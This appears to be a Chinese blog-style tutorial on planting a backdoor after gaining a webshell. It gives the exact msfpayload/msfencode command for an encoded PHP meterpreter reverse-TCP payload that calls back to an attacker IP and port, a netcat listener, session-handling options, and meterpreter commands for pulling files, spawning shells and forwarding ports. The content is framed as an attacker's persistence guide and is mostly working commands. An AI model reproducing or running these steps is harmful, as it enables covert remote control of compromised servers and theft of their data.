msfpayload反彈shell

一、前期--

情景就是當咱們得到webshell時，咱們想留下咱們的後門，這個時候咱們能夠用到msfpayload與msfconsole結合使用

啓動PostgreSQL服務：service postgresql start

啓動metasploit服務：service metasploit start

啓動msfconsole：msfconsole

查看數據庫鏈接狀態：db_status

生成後門文件

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.133.128 LPORT=5555 R | msfencode -e php/base64 -t raw -o /root/Desktop/exp.php

exp.php須要加上<?php  ?>

攻擊端啓動監聽

或者

nc 192.168.133.128 -lvp 5555

而後去訪問咱們的後門文件

二、你們想保存咱們獲得的session怎麼辦？首先必須鏈接數據庫

exploit -h
 -e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.  有效負載編碼，默認使用
    -f        Force the exploit to run regardless of the value of MinimumRank.
    -h        Help banner.
    -j        Run in the context of a job.  在後臺中運行
    -n <opt>  The NOP generator to use.  If none is specified, NOP is used.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
    -t <opt>  The target index to use.  If none is specified, TARGET is used.
    -z        Do not interact with the session after successful exploitation  創建會話放到後臺

sessions -h 
    -K        Terminate all sessions  殺死全部sessions
    -c <opt>  Run a command on the session given with -i, or all 執行一個命令
    -d <opt>  Detach an interactive session
    -h        Help banner
    -i <opt>  Interact with the supplied session ID   鏈接會話
    -k <opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -t <opt>  Set a response timeout (default: 15)
    -u <opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List verbose fields

 

三、meterpreter使用

Core Commands 代碼命令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu  查看幫助
    background                Backgrounds the current session 將sessions保存到後臺
    bgkill                    Kills a background meterpreter script  殺死後臺meterpreter腳本
    bglist                    Lists running background scripts 列出後臺meterpreter腳本
    bgrun                     Executes a meterpreter script as a background thread   在後臺進程中執行一個腳本
    channel                   Displays information about active channels  顯示活動的通道
    close                     Closes a channel  關閉通道
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session  退出
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode  開啓ruby終端
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands  文件命令
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands 網絡命令
===========================

    Command       Description
    -------       -----------
    portfwd       Forward a local port to a remote service  端口轉發
　　 portfwd  add -l 5555 -p 3389 -r 192.168.198.129 將192.168.198.129的3389端口轉發到本地的5555端口


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command  執行命令
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    shell         Drop into a system command shell  生成一個shell
    sysinfo       Gets information about the remote system, such as OS  查看系統信息

附上：初探meterpreter